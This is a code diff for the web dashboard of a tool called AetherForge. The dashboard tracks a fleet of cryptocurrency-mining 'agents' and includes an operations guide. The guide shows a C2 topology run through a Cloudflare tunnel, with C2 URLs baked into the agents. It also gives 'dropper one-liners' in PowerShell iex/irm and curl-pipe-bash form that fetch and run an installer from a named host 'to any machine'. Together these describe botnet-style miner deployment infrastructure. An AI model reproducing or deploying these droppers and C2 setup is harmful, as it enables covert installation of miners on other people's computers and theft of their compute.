<div className="stat-sub">{avgMem.toFixed(0)}% memory · fleet mean</div>
</NeonCard>
{/* ── Pretty numbers row ── */}
<NeonCard accent="gold" className="stat-card-wrap">
<div className="stat-label font-tech">Top Miner</div>
{bestAgent ? (
<>
<div className="stat-value neon-glow-gold" style={{ fontSize: '1.1rem' }}>
{bestAgent.name.length > 14 ? bestAgent.name.slice(0, 13) + '…' : bestAgent.name}
</div>
<div className="stat-sub">{formatHashrate(bestAgent.hashrate_15m)} · {bestAgent.cpu_cores}c</div>
</>
) : (
<>
<div className="stat-value stat-dim"></div>
<div className="stat-sub">no miners online</div>
</>
)}
</NeonCard>
<NeonCard accent="cyan" className="stat-card-wrap">
<div className="stat-label font-tech">Fleet Compute</div>
<div className="stat-value neon-glow-cyan">
{totalCores > 0 ? totalCores.toLocaleString() : '—'}
<span className="stat-dim" style={{ fontSize: '0.8em' }}> cores</span>
</div>
<div className="stat-sub">{onlineCount} nodes active</div>
</NeonCard>
<NeonCard accent="green" className="stat-card-wrap">
<div className="stat-label font-tech">Fleet Uptime</div>
<div className="stat-value accepted">
{totalUptimeHours >= 1 ? totalUptimeHours.toFixed(0).replace(/\B(?=(\d{3})+(?!\d))/g, ',') : '< 1'}
<span className="stat-dim" style={{ fontSize: '0.8em' }}> hrs</span>
</div>
<div className="stat-sub">cumulative across fleet</div>
</NeonCard>
<NeonCard accent="purple" className="stat-card-wrap">
<div className="stat-label font-tech">Shares / hr</div>
<div className="stat-value neon-glow-purple">
{sharesPerHour > 0 ? sharesPerHour.toLocaleString() : '—'}
</div>
<div className="stat-sub">{totalShares.toLocaleString()} total submitted</div>
</NeonCard>
</div>
{/* ── Analytics row — always visible ─────────────────────────────────── */}
@@ -301,17 +370,20 @@ export default function DashboardPage() {
<NeonCard accent="cyan" tilt3d>
<HashrateChart data={hashHistory} title="Fleet Hashrate Wave" color="#00f5ff" unit="H/s" height={300} />
</NeonCard>
{advancedMode && (
<NeonCard accent="magenta" tilt3d>
<HashrateChart data={cpuHistory} title="CPU Pressure" color="#ff2da6" unit="%" height={300} />
</NeonCard>
)}
<NeonCard accent="purple" tilt3d>
<HashrateChart data={acceptHistory} title="Accept Rate Pulse" color="#a855f7" unit="%" height={300} />
</NeonCard>
</div>
{advancedMode && (
<NeonCard accent="brass" className="chart-row-full" tilt3d>
<HashrateChart data={memHistory} title="Memory Load — Fleet Average" color="#ffb020" unit="%" height={220} />
</NeonCard>
<div className="grid-2 chart-row">
<NeonCard accent="magenta" tilt3d>
<HashrateChart data={cpuHistory} title="CPU Pressure" color="#ff2da6" unit="%" height={220} />
</NeonCard>
<NeonCard accent="brass" tilt3d>
<HashrateChart data={memHistory} title="Memory Load — Fleet Average" color="#ffb020" unit="%" height={220} />
</NeonCard>
</div>
)}
<NeonCard accent="purple" className="section" hud>

View File

@@ -4,6 +4,7 @@ import {
CHEAT_SECTIONS,
PIPELINE_STEPS,
TROUBLESHOOTING,
type CheatStep,
} from '../help/cheatSheetContent';
import {
ForgeCalibrateCompare,
@@ -12,6 +13,80 @@ import {
} from '../components/Visual/VisualComponents';
import './Pages.css';
/** Inline code block with copy button */
function CodeBlock({ code }: { code: string }) {
const copy = () => navigator.clipboard?.writeText(code);
return (
<div className="guide-code-block">
<pre className="guide-code-pre">{code}</pre>
<button type="button" className="guide-code-copy" onClick={copy} title="Copy to clipboard">
Copy
</button>
</div>
);
}
/** A single step card — shows body, tips, optional code example, optional nav button */
function StepCard({ step }: { step: CheatStep }) {
return (
<div className="guide-step-card">
<div className="guide-step-num">{step.icon}</div>
<div className="guide-step-body">
<h4>{step.title} <span className="guide-step-sub"> {step.subtitle}</span></h4>
<p>{step.body}</p>
{step.tips && (
<ul className="guide-tips">
{step.tips.map((t) => <li key={t}>{t}</li>)}
</ul>
)}
{step.code && <CodeBlock code={step.code} />}
</div>
{step.route && (
<Link to={step.route} className="btn btn-outline btn-sm guide-step-btn">
{step.routeLabel || 'Open'}
</Link>
)}
</div>
);
}
/** ASCII topology diagram — portable self-configuring setup */
function TopologyDiagram() {
const lines = [
' ┌──────────────────────────────────────────────────────────────────────┐',
' │ USB / Portable Machine (any network) │',
' │ │',
' │ ┌──────────────────────────────────────────────────────────────┐ │',
' │ │ LAUNCH.bat │ │',
' │ │ │ │',
' │ │ 1. Installs cloudflared if missing (bundled MSI) │ │',
' │ │ 2. Stages credentials.json from cloudflare\\ folder │ │',
' │ │ 3. Writes fresh config.yml → 127.0.0.1:8989 │ │',
' │ │ 4. Starts cloudflared tunnel (skips if already running) │ │',
' │ │ 5. Starts AetherForge.exe on 0.0.0.0:8989 │ │',
' │ └────────────────────────┬─────────────────────────────────────┘ │',
' │ │ localhost │',
' │ ┌─────────────┴──────────────┐ │',
' │ │ cloudflared named tunnel │ │',
' │ │ aetherforge-c2 │──────────────▶ CF Edge │',
' │ └─────────────────────────────┘ │ │',
' └────────────────────────────────────────────────────────────────────┘ ',
' │',
' https://killa.thetempleofdoom.com (permanent) │',
' │',
' ┌───────────────┬───────────────┐ │',
' ▼ ▼ ▼ │',
' [Agent PC] [Agent PC] [Agent PC] ◀──-┘',
' any network any network any network',
' baked C2 URL baked C2 URL baked C2 URL',
];
return (
<div className="guide-topology">
<pre className="guide-topology-pre">{lines.join('\n')}</pre>
</div>
);
}
export default function GuidePage() {
return (
<div className="page fade-in command-deck">
@@ -20,11 +95,12 @@ export default function GuidePage() {
<p className="deck-eyebrow font-tech">OPERATIONS MANUAL</p>
<h1>Field Guide</h1>
<p className="page-subtitle">
Visual cheat sheet what each page does, how the pipeline works, and what to fix when things break.
Everything you need pipeline, network topology, one-liner commands, Fusion, AI Autonomy, and fixes for when things break.
</p>
</div>
</header>
{/* ── Live pipeline ── */}
<NeonCard accent="cyan" className="section" hud>
<h2 className="section-title font-display">
<span className="section-ornament"></span> Live pipeline
@@ -33,73 +109,103 @@ export default function GuidePage() {
<PipelineFlow />
</NeonCard>
{/* ── Network topology ── */}
<NeonCard accent="amber" className="section">
<h2 className="section-title font-display">
<span className="section-ornament"></span> Network topology
<span className="section-line" />
</h2>
<p className="form-hint" style={{ marginBottom: '0.75rem' }}>
AetherForge binds to <code className="mono-sm">0.0.0.0:PORT</code> it does not need to know about Cloudflare.
A separate machine runs <code className="mono-sm">cloudflared</code> and tunnels external traffic to the C2's LAN IP.
Agents connect to the Cloudflare tunnel URL baked at Forge time.
</p>
<TopologyDiagram />
<div className="guide-step-card" style={{ marginTop: '1rem' }}>
<div className="guide-step-num">💡</div>
<div className="guide-step-body">
<h4>How it works on any machine</h4>
<ul className="guide-tips">
<li>Plug in USB → run <code className="mono-sm">LAUNCH.bat</code> — cloudflared installs + tunnel starts automatically</li>
<li>AetherForge binds <code className="mono-sm">0.0.0.0:8989</code> — cloudflared connects to <code className="mono-sm">127.0.0.1:8989</code></li>
<li>Public URL never changes: <code className="mono-sm">https://killa.thetempleofdoom.com</code></li>
<li>Forge Control Endpoint: <code className="mono-sm">https://killa.thetempleofdoom.com</code></li>
<li>Backup C2 in Forge: <code className="mono-sm">http://192.168.x.x:8989</code> (LAN fallback)</li>
<li>One-time setup: see <code className="mono-sm">cloudflare/SETUP.txt</code> on the USB</li>
</ul>
<CodeBlock code={`# One-time setup (any machine, done once):
cloudflared tunnel login
cloudflared tunnel create aetherforge-c2
cloudflared tunnel route dns aetherforge-c2 killa.thetempleofdoom.com
copy %USERPROFILE%\\.cloudflared\\<tunnel-id>.json cloudflare\\credentials.json
# After that — just run:
LAUNCH.bat`} />
</div>
</div>
</NeonCard>
{/* ── Forge vs Calibrate ── */}
<section className="section">
<h2 className="section-title font-display">
<span className="section-ornament"></span> Forge vs Calibrate
<span className="section-ornament">◆</span> Forge vs Calibrate — what goes where
<span className="section-line" />
</h2>
<ForgeCalibrateCompare />
</section>
{/* ── Dropper one-liners quick-ref ── */}
<NeonCard accent="green" className="section">
<h2 className="section-title font-display">
<span className="section-ornament">◆</span> Dropper one-liners
<span className="section-line" />
</h2>
<p className="form-hint" style={{ marginBottom: '0.75rem' }}>
Pin a build in <Link to="/builds" className="guide-link">Build Manager</Link> first — then send one of these to any machine. Terminal closes automatically after the agent launches. Hostname is permanent via named Cloudflare tunnel.
</p>
<div className="guide-dropper-grid">
<div className="guide-dropper-item">
<span className="guide-dropper-os">Windows</span>
<CodeBlock code={`iex (irm 'https://killa.thetempleofdoom.com/install.ps1')`} />
</div>
<div className="guide-dropper-item">
<span className="guide-dropper-os">Linux / macOS</span>
<CodeBlock code={`curl -sL https://killa.thetempleofdoom.com/install.sh | bash`} />
</div>
<div className="guide-dropper-item">
<span className="guide-dropper-os">Direct binary</span>
<CodeBlock code={`https://killa.thetempleofdoom.com/get?os=windows
https://killa.thetempleofdoom.com/get?os=linux
https://killa.thetempleofdoom.com/get`} />
</div>
</div>
<p className="form-hint" style={{ marginTop: '0.5rem' }}>
Dropper endpoints are unauthenticated the URL is the gate. Dashboard requires login. Tunnel auto-starts with LAUNCH.bat on any machine.
</p>
</NeonCard>
{/* ── Detailed section steps ── */}
{CHEAT_SECTIONS.filter((s) => s.steps && s.id !== 'pipeline').map((section) => (
<section key={section.id} className="section">
<h2 className="section-title font-display">
<span className="section-ornament"></span> {section.title}
<span className="section-line" />
</h2>
<p className="form-hint">{section.description}</p>
{section.steps?.map((step) => (
<div key={step.id} className="guide-step-card">
<div className="guide-step-num">{step.icon}</div>
<div className="guide-step-body">
<h4>{step.title} {step.subtitle}</h4>
<p>{step.body}</p>
{step.tips && (
<ul className="guide-tips">
{step.tips.map((t) => (
<li key={t}>{t}</li>
))}
</ul>
)}
</div>
{step.route && (
<Link to={step.route} className="btn btn-outline btn-sm">
{step.routeLabel || 'Open'}
</Link>
)}
</div>
))}
<p className="form-hint" style={{ marginBottom: '0.75rem' }}>{section.description}</p>
{section.steps?.map((step) => <StepCard key={step.id} step={step} />)}
</section>
))}
{/* ── Step-by-step pipeline detail ── */}
<section className="section">
<h2 className="section-title font-display">
<span className="section-ornament"></span> Step-by-step (detailed)
<span className="section-ornament"></span> Step-by-step (pipeline detail)
<span className="section-line" />
</h2>
{PIPELINE_STEPS.map((step) => (
<div key={step.id} className="guide-step-card">
<div className="guide-step-num">{step.icon}</div>
<div className="guide-step-body">
<h4>{step.title} {step.subtitle}</h4>
<p>{step.body}</p>
{step.tips && (
<ul className="guide-tips">
{step.tips.map((t) => (
<li key={t}>{t}</li>
))}
</ul>
)}
</div>
{step.route && (
<Link to={step.route} className="btn btn-primary btn-sm">
{step.routeLabel}
</Link>
)}
</div>
))}
{PIPELINE_STEPS.map((step) => <StepCard key={step.id} step={step} />)}
</section>
{/* ── Troubleshooting ── */}
<section className="section">
<h2 className="section-title font-display">
<span className="section-ornament"></span> Troubleshooting
@@ -115,16 +221,18 @@ export default function GuidePage() {
</NeonCard>
</section>
{/* ── Roadmap ── */}
<section className="section">
<h2 className="section-title font-display">
<span className="section-ornament"></span> Product roadmap
<span className="section-ornament"></span> Feature status
<span className="section-line" />
</h2>
<p className="form-hint" style={{ marginBottom: '1rem' }}>
Shipped capabilities (high/medium) and remaining low-priority ideas.
Shipped (high), in progress (medium), and planned (low) capabilities.
</p>
<RoadmapGrid />
</section>
<footer style={{ marginTop: '3rem', paddingTop: '1rem', borderTop: '1px solid #333', textAlign: 'center', color: '#ff4444', fontSize: '0.85rem', fontFamily: 'monospace' }}>
DISCLAIMER: Use only on personal machines on your own network. Anything else is a crime.
</footer>

View File

@@ -966,6 +966,11 @@
text-shadow: 0 0 20px rgba(178, 75, 243, 0.5);
}
.neon-glow-gold {
color: var(--brass-light) !important;
text-shadow: 0 0 20px rgba(232, 197, 71, 0.55);
}
.chart-row-full {
margin-bottom: 2rem;
}
@@ -1332,3 +1337,168 @@ button.deliverable-card .form-hint {
align-items: center;
margin-top: 0.75rem;
}
/* ── Forge progress bar ───────────────────────────────────────── */
.forge-progress-wrap {
margin-top: 1rem;
margin-bottom: 0.5rem;
padding: 0.75rem 1rem;
border: 1px solid rgba(255, 140, 0, 0.35);
border-radius: 6px;
background: rgba(255, 100, 0, 0.06);
animation: forge-progress-fadein 0.25s ease;
}
@keyframes forge-progress-fadein {
from { opacity: 0; transform: translateY(4px); }
to { opacity: 1; transform: translateY(0); }
}
.forge-progress-header {
display: flex;
align-items: center;
gap: 0.5rem;
margin-bottom: 0.55rem;
}
.forge-progress-icon {
font-size: 0.95rem;
animation: forge-spin 1.4s linear infinite;
display: inline-block;
color: #ff8c00;
}
@keyframes forge-spin {
from { transform: rotate(0deg); }
to { transform: rotate(360deg); }
}
.forge-progress-stage {
flex: 1;
font-family: 'Courier New', monospace;
font-size: 0.8rem;
color: #ffb347;
letter-spacing: 0.04em;
text-transform: uppercase;
}
.forge-progress-pct {
font-family: 'Courier New', monospace;
font-size: 0.8rem;
font-weight: 700;
color: #ffd700;
min-width: 3rem;
text-align: right;
}
.forge-progress-track {
position: relative;
height: 6px;
background: rgba(255, 255, 255, 0.08);
border-radius: 4px;
overflow: visible;
}
.forge-progress-fill {
height: 100%;
border-radius: 4px;
background: linear-gradient(90deg, #ff6a00, #ffb300, #ffd700);
box-shadow: 0 0 8px rgba(255, 160, 0, 0.6);
transition: width 0.35s cubic-bezier(0.4, 0, 0.2, 1);
position: relative;
z-index: 1;
}
.forge-progress-glow {
position: absolute;
top: 50%;
transform: translate(-50%, -50%);
width: 14px;
height: 14px;
border-radius: 50%;
background: rgba(255, 200, 50, 0.5);
box-shadow: 0 0 10px 4px rgba(255, 160, 0, 0.6);
pointer-events: none;
z-index: 2;
animation: forge-glow-pulse 0.8s ease-in-out infinite alternate;
}
@keyframes forge-glow-pulse {
from { opacity: 0.6; transform: translate(-50%, -50%) scale(0.85); }
to { opacity: 1; transform: translate(-50%, -50%) scale(1.15); }
}
/* ── Forge last-build compact strip ─────────────────────────────────────── */
.forge-last-build-strip {
display: flex;
align-items: center;
justify-content: space-between;
flex-wrap: wrap;
gap: 0.6rem;
margin-top: 0.75rem;
padding: 0.6rem 0.85rem;
background: rgba(0, 255, 120, 0.06);
border: 1px solid rgba(0, 255, 120, 0.3);
border-radius: 6px;
animation: forge-strip-appear 0.25s ease;
}
@keyframes forge-strip-appear {
from { opacity: 0; transform: translateY(-4px); }
to { opacity: 1; transform: translateY(0); }
}
.forge-last-build-info {
display: flex;
align-items: center;
gap: 0.55rem;
min-width: 0;
}
.forge-last-build-check {
font-size: 1.1rem;
color: #00ff88;
flex-shrink: 0;
}
.forge-last-build-name {
font-family: 'Courier New', monospace;
font-size: 0.82rem;
color: #c8ffd4;
font-weight: 600;
margin-right: 0.3rem;
}
.forge-last-build-size {
font-family: 'Courier New', monospace;
font-size: 0.72rem;
color: #888;
margin-right: 0.35rem;
}
.forge-last-build-tag {
display: inline-block;
font-family: 'Courier New', monospace;
font-size: 0.6rem;
font-weight: 700;
letter-spacing: 0.08em;
padding: 0.08rem 0.38rem;
border-radius: 3px;
background: rgba(255, 140, 0, 0.15);
border: 1px solid rgba(255, 140, 0, 0.4);
color: #ffb04c;
margin-right: 0.2rem;
}
.forge-last-build-actions {
display: flex;
gap: 0.45rem;
align-items: center;
flex-shrink: 0;
flex-wrap: wrap;
}
.btn-sm {
font-size: 0.78rem;
padding: 0.28rem 0.7rem;
}